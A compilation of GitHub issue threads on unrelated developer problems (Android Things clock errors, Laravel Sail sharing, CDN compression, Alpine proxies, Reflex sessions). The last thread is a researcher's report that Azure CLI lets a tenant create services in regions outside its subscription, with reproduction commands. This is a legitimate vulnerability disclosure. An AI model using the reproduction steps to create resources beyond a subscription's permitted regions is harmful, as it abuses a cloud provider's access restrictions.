at com.android.okhttp.internal.io.RealConnection.connectSocket(RealConnection.java:141)
at com.android.okhttp.internal.io.RealConnection.connect(RealConnection.java:112)
at com.android.okhttp.internal.http.StreamAllocation.findConnection(StreamAllocation.java:184)
at com.android.okhttp.internal.http.StreamAllocation.findHealthyConnection(StreamAllocation.java:126)
at com.android.okhttp.internal.http.StreamAllocation.newStream(StreamAllocation.java:95)
at com.android.okhttp.internal.http.HttpEngine.connect(HttpEngine.java:281)
at com.android.okhttp.internal.http.HttpEngine.sendRequest(HttpEngine.java:224)
at com.android.okhttp.internal.huc.HttpURLConnectionImpl.execute(HttpURLConnectionImpl.java:461)
at com.android.okhttp.internal.huc.HttpURLConnectionImpl.connect(HttpURLConnectionImpl.java:127)
at com.android.okhttp.internal.huc.HttpURLConnectionImpl.getOutputStream(HttpURLConnectionImpl.java:258)
at com.android.okhttp.internal.huc.DelegatingHttpsURLConnection.getOutputStream(DelegatingHttpsURLConnection.java:218)
at com.android.okhttp.internal.huc.HttpsURLConnectionImpl.getOutputStream(Unknown Source:0)
at pvg.a(:com.google.android.gms<EMAIL_ADDRESS>(030300-189423146):61)
at pvg.execute(:com.google.android.gms<EMAIL_ADDRESS>(030300-189423146):8)
at pvg.execute(:com.google.android.gms<EMAIL_ADDRESS>(030300-189423146):7)
at jup.a(:com.google.android.gms<EMAIL_ADDRESS>(030300-189423146):10)
at jup.a(:com.google.android.gms<EMAIL_ADDRESS>(030300-189423146):48)
at jve.a(:com.google.android.gms<EMAIL_ADDRESS>(030300-189423146):145)
at jve.a(:com.google.android.gms<EMAIL_ADDRESS>(030300-189423146):190)
at com.google.android.gms.clearcut.uploader.QosUploaderChimeraService.c(:com.google.android.gms<EMAIL_ADDRESS>(030300-189423146):44)
at com.google.android.gms.clearcut.uploader.QosUploaderChimeraService.a(:com.google.android.gms<EMAIL_ADDRESS>(030300-189423146):19)
at com.google.android.gms.clearcut.uploader.QosUploaderChimeraService.a(:com.google.android.gms<EMAIL_ADDRESS>(030300-189423146):8)
at pai.run(:com.google.android.gms<EMAIL_ADDRESS>(030300-189423146):1)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1162)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:636)
at java.lang.Thread.run(Thread.java:764)
01-01 00:09:41.790 732-1511/com.google.android.gms.persistent E/NetworkScheduler.ATC: Trying to release unacquired lock: com.google.android.gms/.clearcut.uploader.QosUploaderService

Add an ethernet or Wi-Fi connection so that it will connect to the Internet, get the current time, and allow it to make HTTPS requests.

I'm sorry to bother you all the time, but I have to wiff all the time.I don't even have the Internet because I'm a over the wall link to the Google interface.
To why?

The Google Assistant API is a cloud API. You need to make calls through an Internet connection.

Make a call?Call who?Or dial-up access.

It stops here, is it wrong or is it right?What's wrong? What's wrong?

Nothing seems wrong with your posted logs. It seems like your device is connected to the Internet. Have you tried sending a command? You can press the button on-screen or if you've connected it.

ok？

This is the most important error. It states that the app cannot make a secure connection to the Google Assistant because the time is wrong (see 01-01? That's January 1st, which is not today.) Usually the time is not up to date because your device is not connected to the Internet. Until you get the time updated, the app will fail to load.

So you think there is no connection to the Internet?

A new problem has arisen.

I don't know whether the device is connected or not, but it has not updated the system time.

Ok, I will continue to check whether the time has been modified,

i meet the same question, have you already handled this problem?

Not, yet Mr. John. have you ?
On Sun, Nov 18, 2018 at 10:44 PM Johnglindon<EMAIL_ADDRESS>wrote:

i meet the same question, have you already handled this problem?
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/androidthings/sample-googleassistant/issues/72#issuecomment-439787597,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AqSUxTpd3uELvsSdh9h8prsBml28dbAsks5uwlNAgaJpZM4T0b_e
.

Because my Androidthings can't over the wall


Updating the repo in my account due to many commits behind

I am updating the repo to my account after long days I am many commits behind

I am here to do contritbution, not spam, kindly accept my request, I have contributed before also to this repo

What are you trying to Contribute with this PR ?


redirection.config Error: Cannot read configuration file due to insufficient permissions

I feel like I've almost got this project running after quite some time of trial and error. Now this error popped up. Is there anyone who knows what might cause this?

I managed to get everything working... redirection to https was the culprit, everything is up and running now.


sail share does not work, missing image

Sail Version: 1.15.0
Laravel Version: 9.19.0
PHP Version: 8.1
Host operating system: Windows 11 [Version 10.0.22000.795], WSL2, Docker Desktop

Hello,
Running the latest images of everything, I am unable to share my website.
Running "sail share" from the project directory gives me this:
Unable to find image 'beyondcodegmbh/expose-server:latest' locally
After installing the image manually running:
docker pull beyondcodegmbh/expose-server:latest
And issuing "sail share" again, gives me this error:
Could not connect to the server.
Connection to tcp://laravel-sail.site:8080 timed out after 20 seconds (ETIMEDOUT)

Maybe is some configuration that needs to be made? Here is my docker-compose.yml:
# For more information: https://laravel.com/docs/sail
version: '3'
services:
    laravel.test:
        build:
            context: ./vendor/laravel/sail/runtimes/8.1
            dockerfile: Dockerfile
            args:
                WWWGROUP: '${WWWGROUP}'
        image: sail-8.1/app
        extra_hosts:
            - 'host.docker.internal:host-gateway'
        ports:
            - '${APP_PORT:-80}:80'
            - '${VITE_PORT:-5173}:${VITE_PORT:-5173}'
            - '8080:8080'
        environment:
            WWWUSER: '${WWWUSER}'
            LARAVEL_SAIL: 1
            XDEBUG_MODE: '${SAIL_XDEBUG_MODE:-off}'
            XDEBUG_CONFIG: '${SAIL_XDEBUG_CONFIG:-client_host=host.docker.internal}'
        volumes:
            - '.:/var/www/html'
        networks:
            - sail
        depends_on:
            - mysql
            - redis
            - meilisearch
            - selenium
    mysql:
        image: 'mysql/mysql-server:8.0'
        ports:
            - '${FORWARD_DB_PORT:-3306}:3306'
        environment:
            MYSQL_ROOT_PASSWORD: '${DB_PASSWORD}'
            MYSQL_ROOT_HOST: "%"
            MYSQL_DATABASE: '${DB_DATABASE}'
            MYSQL_USER: '${DB_USERNAME}'
            MYSQL_PASSWORD: '${DB_PASSWORD}'
            MYSQL_ALLOW_EMPTY_PASSWORD: 1
        volumes:
            - 'sail-mysql:/var/lib/mysql'
            - './vendor/laravel/sail/database/mysql/create-testing-database.sh:/docker-entrypoint-initdb.d/10-create-testing-database.sh'
        networks:
            - sail
        healthcheck:
            test: ["CMD", "mysqladmin", "ping", "-p${DB_PASSWORD}"]
            retries: 3
            timeout: 5s
    redis:
        image: 'redis:alpine'
        ports:
            - '${FORWARD_REDIS_PORT:-6379}:6379'
        volumes:
            - 'sail-redis:/data'
        networks:
            - sail
        healthcheck:
            test: ["CMD", "redis-cli", "ping"]
            retries: 3
            timeout: 5s
    meilisearch:
        image: 'getmeili/meilisearch:latest'
        ports:
            - '${FORWARD_MEILISEARCH_PORT:-7700}:7700'
        volumes:
            - 'sail-meilisearch:/meili_data'
        networks:
            - sail
        healthcheck:
            test: ["CMD", "wget", "--no-verbose", "--spider",  "http://localhost:7700/health"]
            retries: 3
            timeout: 5s
    mailhog:
        image: 'mailhog/mailhog:latest'
        ports:
            - '${FORWARD_MAILHOG_PORT:-1025}:1025'
            - '${FORWARD_MAILHOG_DASHBOARD_PORT:-8025}:8025'
        networks:
            - sail
    selenium:
        image: 'selenium/standalone-chrome'
        volumes:
            - '/dev/shm:/dev/shm'
        networks:
            - sail
networks:
    sail:
        driver: bridge
volumes:
    sail-mysql:
        driver: local
    sail-redis:
        driver: local
    sail-meilisearch:
        driver: local

Yeah the second issue is because, by pulling the image manually, it doesnt belong to the same sail network. So adding the image in the sail script will most probably solve this issue.

We restarted the server. Thanks

@driesvints The problem is still actual on new installations of sail using WSL2. I did manage to make it work on my system but it was a real pain.

I was not able to reproduce this on macOS. I don't think it makes a difference between operating systems.

@driesvints
3 installations of sail on windows, are causing the same issue:
The docker-compose.yml doesnt contain the expose-server entry thus it doesnt install the beyondcodegmbh/expose-server:latest image on docker. I had to manually edit the yml file in order for sail to pull it during sail up:
expose-server:
        image: 'beyondcodegmbh/expose-server:latest'
        networks:
            - sail

That is the only issue that is related to sail, the other issue that breaks WSL2 share function is related to the expose image itself.
The image's docker-compose.yml is missing:
extra_hosts:
            - 'host.docker.internal:host-gateway'

I commited a new expose image with the change inside docker-compose.yml and then everything worked correctly. I named the new image expose-server. This is my final docker-compose.yml:
# For more information: https://laravel.com/docs/sail
version: '3'
services:
    laravel.test:
        build:
            context: ./vendor/laravel/sail/runtimes/8.1
            dockerfile: Dockerfile
            args:
                WWWGROUP: '${WWWGROUP}'
        image: sail-8.1/app
        extra_hosts:
            - 'host.docker.internal:host-gateway'
        ports:
            - '${APP_PORT:-80}:80'
            - '${VITE_PORT:-5173}:${VITE_PORT:-5173}'
        environment:
            WWWUSER: '${WWWUSER}'
            LARAVEL_SAIL: 1
            XDEBUG_MODE: '${SAIL_XDEBUG_MODE:-off}'
            XDEBUG_CONFIG: '${SAIL_XDEBUG_CONFIG:-client_host=host.docker.internal}'
        volumes:
            - '.:/var/www/html'
        networks:
            - sail
        depends_on:
            - mysql
            - redis
            - meilisearch
            - selenium
            - expose-server
    mysql:
        image: 'mysql/mysql-server:8.0'
        ports:
            - '${FORWARD_DB_PORT:-3306}:3306'
        environment:
            MYSQL_ROOT_PASSWORD: '${DB_PASSWORD}'
            MYSQL_ROOT_HOST: "%"
            MYSQL_DATABASE: '${DB_DATABASE}'
            MYSQL_USER: '${DB_USERNAME}'
            MYSQL_PASSWORD: '${DB_PASSWORD}'
            MYSQL_ALLOW_EMPTY_PASSWORD: 1
        volumes:
            - 'sail-mysql:/var/lib/mysql'
            - './vendor/laravel/sail/database/mysql/create-testing-database.sh:/docker-entrypoint-initdb.d/10-create-testing-database.sh'
        networks:
            - sail
        healthcheck:
            test: ["CMD", "mysqladmin", "ping", "-p${DB_PASSWORD}"]
            retries: 3
            timeout: 5s
    redis:
        image: 'redis:alpine'
        ports:
            - '${FORWARD_REDIS_PORT:-6379}:6379'
        volumes:
            - 'sail-redis:/data'
        networks:
            - sail
        healthcheck:
            test: ["CMD", "redis-cli", "ping"]
            retries: 3
            timeout: 5s
    meilisearch:
        image: 'getmeili/meilisearch:latest'
        ports:
            - '${FORWARD_MEILISEARCH_PORT:-7700}:7700'
        volumes:
            - 'sail-meilisearch:/meili_data'
        networks:
            - sail
        healthcheck:
            test: ["CMD", "wget", "--no-verbose", "--spider",  "http://localhost:7700/health"]
            retries: 3
            timeout: 5s
    mailhog:
        image: 'mailhog/mailhog:latest'
        ports:
            - '${FORWARD_MAILHOG_PORT:-1025}:1025'
            - '${FORWARD_MAILHOG_DASHBOARD_PORT:-8025}:8025'
        networks:
            - sail
    selenium:
        image: 'selenium/standalone-chrome'
        volumes:
            - '/dev/shm:/dev/shm'
        networks:
            - sail
    expose-server:
        image: 'expose-server:latest'
        networks:
            - sail
networks:
    sail:
        driver: bridge
volumes:
    sail-mysql:
        driver: local
    sail-redis:
        driver: local
    sail-meilisearch:
        driver: local

@m33ts4k0z I agree there is an issue here on WSL2. I have tried using the 2 additions above but get the error on sail up:
 ⠿ expose-server Error                                                                                7.0s
Error response from daemon: pull access denied for expose-server, repository does not exist or may require 'docker login': denied: requested access to the resource is denied```

Not sure if you ran into this too or not?

@m33ts4k0z
Thank you for your tutorial on how to set it up.
I tried it out but at first it failed with this error:
❯ sail up
[+] Running 0/1
 ⠿ expose-server Error                                                                                2.5s
Error response from daemon:
pull access denied for expose-server, repository does not exist or may require 'docker login':
denied: requested access to the resource is denied

After changing the image to beyondcodegmbh/expose-server:latest that error did not occur again.
I still can't open the site, but now because of an issue with recognizing the domain in the multitenancy package, so I guess that's another story :)


Use CSSCore instead of jQuery in TimeoutTransitionGroup

Is this likely to get pulled in?

I'm pretty eager to have this too.

Hey all,
Thanks for the pull request and support. I'd like to get this pulled in if we can.
Unfortunately, in the current state I can't merge this yet. Reaching into the react internal files only works if the entire app is using browserify/webpack (or in node/io.js), and doesn't work if people are using react as a single file [minified] library. Currently this is how we integrate react, which is not likely to change but might be possible.
Secondarily, this depends on React not changing their internal implementation, which is unideal.
Since we're only using CSSCore for adding/removing classes, maybe we could implement this without the CSSCore dependency or jQuery? Or pull in the appropriate code into react-components?
I'm also open to looking into how we integrate React such that such requires work, but that is likely to be on a longer timeframe (and requires modifying a lot more than just react-components).
Thanks,
Aria

As a Browserify user, that hadn't occurred to me, but I would be happy to make a new PR with no dep on CSSCore (straight up vanilla-js).

@devgeeks awesome; I'd be happy to merge that!

It may be easier to just embed CSSCore.js into react-components:
https://github.com/facebook/react/blob/master/src/vendor/core/CSSCore.js

(I'm okay with that too!)

Maybe that's the approach I will use. Basically include CSSCore, but with normal error handling instead of invariant.

Hi! Thanks for doing this! I'll add a couple of comments inline.

Er... on #31 :). I'm going to close this PR in favor of #31. Thanks everyone for contributing and the discussion.


fix retry overflow

When I use retry with relatively big number of attempt (like 64), delay is overflow. It is because delay is calculated by int.
I change it to floating point so that it won't overflow. I added test also.

@jonasfj would you kindly review this?

@wapa5pow great work, published https://pub.dev/packages/retry/versions/3.0.1


Depend on Embers UEL

Thanks for opening issues.
 Mainly disabling the default versions of blocks you add by yourself, as you can no longer overwrite registration by yourself, furthermore you may want to integrate the new config entries I added to most of the machines.
I'm aware that this may break compatibility with the default embers rekindled. If that's a problem for you I may just add some mixins to integrate them myself. I'm open to discussion. :)

I'm afraid I'll have to insist on compatibility with Rekindled on my end, since the whole intent of this project was to be able to add it to some modpacks that include Rekindled. Feel free to integrate anything you want on your end.

Alright could you at least change the "required dependency" state for embers rekindled to "optional dependency"? that way it won't always try to install embers rekindled if someone want's to use my fork. :)

Of course, no problem


ELB Watcher uses deprecated botocore calls

Since @monkeysecurity has indicated a dependency update is in the works, all deprecated calls to botocore need to be updated.
See the changes docs here http://botocore.readthedocs.org/en/latest/client_upgrades.html

Fix merged in #250


Test Flowzone PR 499

Auto-generated by https://github.com/product-os/flowzone/pull/499
Will be closed automatically once the PR is merged.

Auto-closing pull request


aspnet CDN doesn't serve gzipped content (for most files I checked)

@davidfowl
https://ajax.aspnetcdn.com/ajax/jquery/jquery-2.2.0.min.js -compressed
https://ajax.aspnetcdn.com/ajax/jquery/jquery-3.1.1.min.js - not compressed
https://ajax.aspnetcdn.com/ajax/jquery/jquery-3.1.0.min.js - not compressed
https://ajax.aspnetcdn.com/ajax/jquery/jquery-1.9.0.min.js - not compressed
This is quite a big penalty, +56% for the same file.
BTW, is this the right place to report such issues?

If you don't get an answer here, perhaps they'll comment over at http://forums.asp.net/188.aspx/1?Feedback+on+this+website/

@madskristensen Do you know the right contact re: aspnetcdn?

@muratg
Guys if it won't be fixed soon we will port to a different CDN, probably Google's.
I love Microsoft (most of the days 😄) so I prefer using its CDN and supporting it, but not if this is the cost.

cc @DamianEdwards @danroth27 @glennc

@gdoron our CDN essentially exists to allow us to point our Visual Studio templates at a CDN without having to take a 3rd party dependency, and is maintained on a best-effort basis. We're looking in to this issue, however you shouldn't feel compelled to keep using the MS CDN at all, by all means, use whichever CDN you see fit.

I tried those files and they're being served with GZIP compression to my browser (outside MS network). Sometimes files drop off the CDN edge-servers for a given region and don't get cached there again until they're requested. This can result in some requests being uncompressed for some users for a period of time. Perhaps try again?

@DamianEdwards sorry, I was AFK for a day.
Still no compression on my end.

our CDN essentially exists to allow us to point our Visual Studio templates at a CDN without having to take a 3rd party dependency, and is maintained on a best-effort basis.

Which probably means the CDN infrastructure and reliability is not as good as Google's.
Thanks for sharing this, I'll change to Google's CDN.
BTW, Microsoft can use the CDN as an excellent tracking tool cross websites, not sure why it doesn't leverage and prioritize it.

Sorry, but I'm wunder, that the problem is still not solved since so long time. First of all I confirm the problem from the German location.
To simplify the troubleshooting I include the information about the CDN servers to which I communicate and compare the loading of jQuery 3.1.1 and jQuery 2.0.0 from ajax.aspnetcdn.com with two other well known public CDNs: cdnjs.cloudflare.com and cdn.jsdelivr.net. By ping on the servers one can see
ajax.aspnetcdn.com   -> cs3.wpc.v0cdn.net [2606:2800:133:17a3:eb7:d48:22de:1431]
cdnjs.cloudflare.com -> cdnjs.cloudflare.com [2400:cb00:2048:1::c629:d743]
cdn.jsdelivr.net     -> jsdelivr3.dak.netdna-cdn.com [<IP_ADDRESS>]

The loading of jQuery 3.1.1 and 2.2.0 from the CDNs:

URL
Protocol
Size

https://ajax.aspnetcdn.com/ajax/jquery/jquery-3.1.1.min.js
http/1.1
85.3 KB

https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js
h2
29.9 KB

https://cdn.jsdelivr.net/jquery/3.1.1/jquery.min.js
h2
29.7 KB

https://ajax.aspnetcdn.com/ajax/jquery/jquery-2.2.0.min.js
http/1.1
38.2 KB

https://cdnjs.cloudflare.com/ajax/libs/jquery/2.2.0/jquery.min.js
h2
29.7 KB

https://cdn.jsdelivr.net/jquery/2.2.0/jquery.min.js
h2
29.5 KB

The HTTP Header of the response on https://ajax.aspnetcdn.com/ajax/jquery/jquery-3.1.1.min.js looks as following:
Accept-Ranges:bytes
Access-Control-Allow-Origin:*
Cache-Control:public, max-age=31536000
Content-Length:86709
Content-Type:application/x-javascript
Date:Thu, 20 Oct 2016 10:23:12 GMT
Etag:"2045e8feee18d21:0"
Last-Modified:Tue, 27 Sep 2016 18:43:10 GMT
P3P:CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
Server:ECAcc (arn/45BB)
Strict-Transport-Security:max-age=31536000
VTag:27974956300000000
X-Cache:HIT
X-CCC:SE
X-CID:2
X-Powered-By:ASP.NET
X-Powered-By:ASP.NET
X-Powered-By:ARR/2.5

The HTTP Header of the response on https://ajax.aspnetcdn.com/ajax/jquery/jquery-2.2.0.min.js looks as following:
Accept-Ranges:bytes
Cache-Control:public, max-age=31378454
Content-Encoding:gzip
Content-Length:38396
Content-Type:application/x-javascript
Date:Thu, 20 Oct 2016 10:24:53 GMT
Etag:"87e0a331674ad11:0"
Last-Modified:Fri, 08 Jan 2016 22:52:04 GMT
P3P:CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
Server:ECAcc (arn/46C2)
Strict-Transport-Security:max-age=31536000
Strict-Transport-Security:max-age=31536000
Strict-Transport-Security:max-age=31536000
Vary:Accept-Encoding
VTag:27920057700000000
X-Cache:HIT
X-CCC:NL
X-CID:2
X-Powered-By:ASP.NET
X-Powered-By:ARR/2.5
X-Powered-By:ASP.NET
```
One can see that `Content-Encoding: gzip` is missing in the response on https://ajax.aspnetcdn.com/ajax/jquery/jquery-3.1.1.min.js. Moreover some HTTP headers will be set multiple times (see `X-Powered-By:ASP.NET` and `Strict-Transport-Security:max-age=31536000`)

I includes for better comparing the HTTP2 headers from https://cdn.jsdelivr.net/jquery/3.1.1/jquery.min.js:
```
access-control-allow-origin:*
cache-control:public, max-age=31536000
content-encoding:gzip
content-type:application/javascript; charset=utf-8
date:Thu, 20 Oct 2016 10:14:30 GMT
etag:W/"57e463a5-152b5"
last-modified:Thu, 22 Sep 2016 23:05:09 GMT
server:NetDNA-cache/2.2
status:200
timing-allow-origin:*
vary:Accept-Encoding
x-cache:HIT
```
I hope that the above information will help to localize and to fix the problem on ajax.aspnetcdn.com. Moreover I hope that one will use HTTP2 on ajax.aspnetcdn.com. It's well known that loading on multiple files (it's typically in case of usage CDN) over HTTP2 is much more effectively as over HTTP 1.1.

This issue is being closed because it has not been updated in 3 months.
We apologize if this causes any inconvenience. We ask that if you are still encountering this issue, please log a new issue with updated information and we will investigate.


Fix alpine 3.13 APK proxy build issue

Alpine 3.13 set APK repositories to https instead of http.
APK does not work with https proxy because of libfetch issue.
Set alpine to 3.12 until issue is resolved.
Signed-off-by: Kennelly, Martin<EMAIL_ADDRESS>See:
https://github.com/alpinelinux/docker-alpine/issues/136
https://github.com/alpinelinux/docker-alpine/issues/98
https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=220468
Partially fixes #315

This also aligns build image with final image.
once the issue is resolved we can update both hopefully

Yes, it was a mistake not setting the images to a specific version. We should only upgrade once images are tested.
I think a patch version increment is needed once this is merged - so v3.3.1. WDYT?

This also aligns build image with final image.
once the issue is resolved we can update both hopefully

Yes, it was a mistake not setting the images to a specific version. We should only upgrade once images are tested.
I think a patch version increment is needed once this is merged - so v3.3.1. WDYT?

essentially building from tag v3.3 is broken right ? so yes i think its a good idea,

essentially building from tag v3.3 is broken right ? so yes i think its a good idea,

essentially building from tag v3.3 is broken right ? yes i think its a good idea,

yes - within proxy environments. Alpines APK repos were changed from http to https. This is a good thing but there is a bug in libfetch with respecting proxy settings it seems which APK depends on. So upgrading libfetch is a must and they are working on it.

essentially building from tag v3.3 is broken right ? yes i think its a good idea,

yes - within proxy environments. Alpines APK repos were changed from http to https. This is a good thing but there is a bug in libfetch with respecting proxy settings it seems which APK depends on. So upgrading libfetch is a must and they are working on it.


add mapping between client_token and socket id

Keep an internal mapping between client token and sid.
Can be used by end user to terminate some logic/tasks if the websocket associated with a given state is disconnected.
Will also be helpful later for some internal use.
Can be used like this to terminate a background task for example :
class State(rx.State):
    @rx.background
    async def loop_function(self):
        while True:
            if self.router.session.client_token not in app.event_namespace.token_to_sid:
                break
            await asyncio.sleep(2)

@rx.page(on_load=State.loop_function)
def index():
    return rx.text("Hello")

Possible improvement : Provide a "cleaner" access to this mapping for end user?
Close #3387

LGTM - is there a concrete use case for this yet? Or just in case we need it later?

Without this users can not terminate logic in background tasks, so I'd say yes.
but there will also be other potential future use too.

How can you use this method if you have your app initialized in one module, and your State class defined in another?
If I want the background task to run when the page loads, there isn't a way without causing a circular import?
For example,
from app_name.state import State

app = rx.App()

app.add_page(component=chat_page(), route="/", on_load=State.background_event)

from app_name.app_name import app

class State(rx.State):
    @rx.event(background=True)
    async def background_event(self):
        while True:
            if self.router.session.client_token not in app.event_namespace.token_to_sid:
                ...

@5quinque maybe you can use get_app inside the handler?

@5quinque maybe you can use get_app inside the handler?

Didn't know about this method, but it works perfectly, thanks :D


Tenant can create Azure products from other regions not belonging to their subscription via Azure Classic/Modern CLIs

Summary: Tenant can create Azure products from other regions not belonging to their subscription via Azure Classic/Modern CLIs.
Description: I was testing classic Azure CLI (version 0.10.20) for actually automating my pentesting tools like creating TrafficManager profiles, Cloud services and Azure websites.
While I was looking syntax for making Azure websites, I noticed that it was actually returning more locations then what was available on portal edition.
I noticed that portal edition was giving me this regions as available regions with total amount of 29:

"North Europe"

"West Europe"

"Southeast Asia"

"East Asia"

"West US"

"East US"

"Japan West"

"Japan East"

"East US 2"

"North Central US"

"South Central US"

"Brazil South"

"Australia East"

"Australia Southeast"

"Central India"

"West India"

"South India"

"Canada Central"

"Canada East"

"West Central US"

"West US 2"

"UK West"

"UK South"

"Korea South"

"Korea Central"

"France Central"

"Australia Central"

"South Africa North"

Meanwhile CLI edition was giving this regions with following command "azure site location list" with total amount of 35:

"North Europe"

"West Europe"

"Southeast Asia"

"East Asia"

"West US"

"East US"

"Japan West"

"Japan East"

"East US 2"

"North Central US"

"South Central US"

"Brazil South"

"Australia East"

"Australia Southeast"

"Central India"

"West India"

"South India"

"Canada Central"

"Canada East"

"West Central US"

"West US 2"

"UK West"

"UK South"

"Korea South"

"Korea Central"

"France South"

"France Central"

"Australia Central 2"

"Australia Central"

"South Africa North"

"South Africa West"

"Switzerland North"

"Germany West Central"

"UAE Central"

For testing purposes I created Azure website on "Germany West Central" region which wasn't available on my subscription with following name: "tLzZxX" which could be accessed on http://tLzZxX.azurewebsites.net
During creation it actually gave me an error and indicated that even it was facing an error website potentially created,
When I visited my app service plans unfortunately there wasn't such profile listed under.
Furthermore I tested new modern CLI (version 2.0.76) and it was giving same amount of locations with following command "az appservice list-locations --sku F1".
Supporting materials:
Subscription ID of Azure tenant: "ffc6d1bc-66b2-4800-8a25-519ea15949f6"
Azure Classic CLI version: 0.10.20
Azure Modern CLI version: 2.0.76
Azure website created on non available region: tLzZxX @ http://tLzZxX.azurewebsites.net
Impact: As mentioned above while this is more like functional issue more than security impact, this could still lead user to create apps at regions not available on their subscription and causing them to unable to delete them as well as potential issues on backend.
Extra Info: This was reported to MSRC but since this is functional issue they closed case (VULN-012626 CRM:0469000267) and requested me to report it via here like 2 months ago but didn't have a time so this is exact copy of my report and issue is still persisting.

@jiasli Please have a look

add to S168

This is not Azure CLI core related as the command is az appservice list-locations --sku F1. Routing to App Service team to investigate.

@jiasli exactly, thats why I reported it to MSRC but person who was analyzing it didn't understand and requested me to report here why I'm not sure, tenants being able to create services on regions not belonging them is service issue and which can be potentially abused.

@mcipekci, don't worry. App Service team will investigate it. @panchagnula

Talking to our API and portal folks we figured out that CLI needs to filter out certain locations. We will working on fixing this.

Hello,
I believe this is only solving list of locations but not preventing being able to create app service and potentially other services e.g cloud vms on regions not belonging to tenants account.
After reading my initial report, I think it was led you that way so sorry if I did reported it wrongly.
Following example will create app service plan on west germany central which is not belonging to my account:
az appservice plan create --name <planname>--location germanywestcentral -g <resourcename>--sku F1
I created app service plan with following id on West Germany Central /subscriptions/ffc6d1bc-66b2-4800-8a25-519ea15949f6/resourceGroups/ziraatnewyork/providers/Microsoft.Web/serverfarms/Test12XZ
This is output from az appservice plan list:
[
  {
    "freeOfferExpirationTime": null,
    "hostingEnvironmentProfile": null,
    "hyperV": false,
    "id": "/subscriptions/ffc6d1bc-66b2-4800-8a25-519ea15949f6/resourceGroups/Default-Web-GermanyWestCentral/providers/Microsoft.Web/serverfarms/Default1qq",
    "isSpot": false,
    "isXenon": false,
    "kind": "app",
    "location": "Germany West Central",
    "maximumElasticWorkerCount": 1,
    "maximumNumberOfWorkers": 1,
    "name": "Default1qq",
    "numberOfSites": 1,
    "perSiteScaling": false,
    "provisioningState": null,
    "reserved": false,
    "resourceGroup": "Default-Web-GermanyWestCentral",
    "sku": {
      "capabilities": null,
      "capacity": 0,
      "family": "F",
      "locations": null,
      "name": "F1",
      "size": "F1",
      "skuCapacity": null,
      "tier": "Free"
    },
    "spotExpirationTime": null,
    "status": "Ready",
    "tags": null,
    "targetWorkerCount": 0,
    "targetWorkerSizeId": 0,
    "type": "Microsoft.Web/serverfarms",
    "workerTierName": null
  },
  {
    "freeOfferExpirationTime": null,
    "hostingEnvironmentProfile": null,
    "hyperV": false,
    "id": "/subscriptions/ffc6d1bc-66b2-4800-8a25-519ea15949f6/resourceGroups/ziraatnewyork/providers/Microsoft.Web/serverfarms/Test12XZ",
    "isSpot": false,
    "isXenon": false,
    "kind": "app",
    "location": "Germany West Central",
    "maximumElasticWorkerCount": 1,
    "maximumNumberOfWorkers": 1,
    "name": "Test12XZ",
    "numberOfSites": 1,
    "perSiteScaling": false,
    "provisioningState": null,
    "reserved": false,
    "resourceGroup": "ziraatnewyork",
    "sku": {
      "capabilities": null,
      "capacity": 0,
      "family": "F",
      "locations": null,
      "name": "F1",
      "size": "F1",
      "skuCapacity": null,
      "tier": "Free"
    },
    "spotExpirationTime": null,
    "status": "Ready",
    "tags": null,
    "targetWorkerCount": 0,
    "targetWorkerSizeId": 0,
    "type": "Microsoft.Web/serverfarms",
    "workerTierName": null
  },

By using following az webapp create --name <webappname> --plan <planname> --runtime "node|6.9" -g <resourcename>
I was able to create: test28052020.azurewebsites.net
This is output from my az webapp list:
[
  {
    "appServicePlanId": "/subscriptions/ffc6d1bc-66b2-4800-8a25-519ea15949f6/resourceGroups/Default-Web-GermanyWestCentral/providers/Microsoft.Web/serverfarms/Default1qq",
    "availabilityState": "Normal",
    "clientAffinityEnabled": true,
    "clientCertEnabled": false,
    "clientCertExclusionPaths": null,
    "cloningInfo": null,
    "containerSize": 0,
    "dailyMemoryTimeQuota": 0,
    "defaultHostName": "tlzzxx.azurewebsites.net",
    "enabled": true,
    "enabledHostNames": [
      "tlzzxx.azurewebsites.net",
      "tlzzxx.scm.azurewebsites.net"
    ],
    "geoDistributions": null,
    "hostNameSslStates": [
      {
        "hostType": "Standard",
        "ipBasedSslResult": null,
        "ipBasedSslState": "NotConfigured",
        "name": "tlzzxx.azurewebsites.net",
        "sslState": "Disabled",
        "thumbprint": null,
        "toUpdate": null,
        "toUpdateIpBasedSsl": null,
        "virtualIp": null
      },
      {
        "hostType": "Repository",
        "ipBasedSslResult": null,
        "ipBasedSslState": "NotConfigured",
        "name": "tlzzxx.scm.azurewebsites.net",
        "sslState": "Disabled",
        "thumbprint": null,
        "toUpdate": null,
        "toUpdateIpBasedSsl": null,
        "virtualIp": null
      }
    ],
    "hostNames": [
      "tlzzxx.azurewebsites.net"
    ],
    "hostNamesDisabled": false,
    "hostingEnvironmentProfile": null,
    "httpsOnly": false,
    "hyperV": false,
    "id": "/subscriptions/ffc6d1bc-66b2-4800-8a25-519ea15949f6/resourceGroups/Default-Web-GermanyWestCentral/providers/Microsoft.Web/sites/tLzZxX",
    "identity": null,
    "inProgressOperationId": null,
    "isDefaultContainer": null,
    "isXenon": false,
    "kind": "app",
    "lastModifiedTimeUtc": "2020-05-14T22:23:03.100000",
    "location": "Germany West Central",
    "maxNumberOfWorkers": null,
    "name": "tLzZxX",
    "outboundIpAddresses": "<IP_ADDRESS>,<IP_ADDRESS>,<IP_ADDRESS>,<IP_ADDRESS>,<IP_ADDRESS>",
    "possibleOutboundIpAddresses": "<IP_ADDRESS>,<IP_ADDRESS>,<IP_ADDRESS>,<IP_ADDRESS>,<IP_ADDRESS>,<IP_ADDRESS>,<IP_ADDRESS>,<IP_ADDRESS>,<IP_ADDRESS>,<IP_ADDRESS>",
    "redundancyMode": "None",
    "repositorySiteName": "tLzZxX",
    "reserved": false,
    "resourceGroup": "Default-Web-GermanyWestCentral",
    "scmSiteAlsoStopped": false,
    "siteConfig": {
      "acrUseManagedIdentityCreds": false,
      "acrUserManagedIdentityID": null,
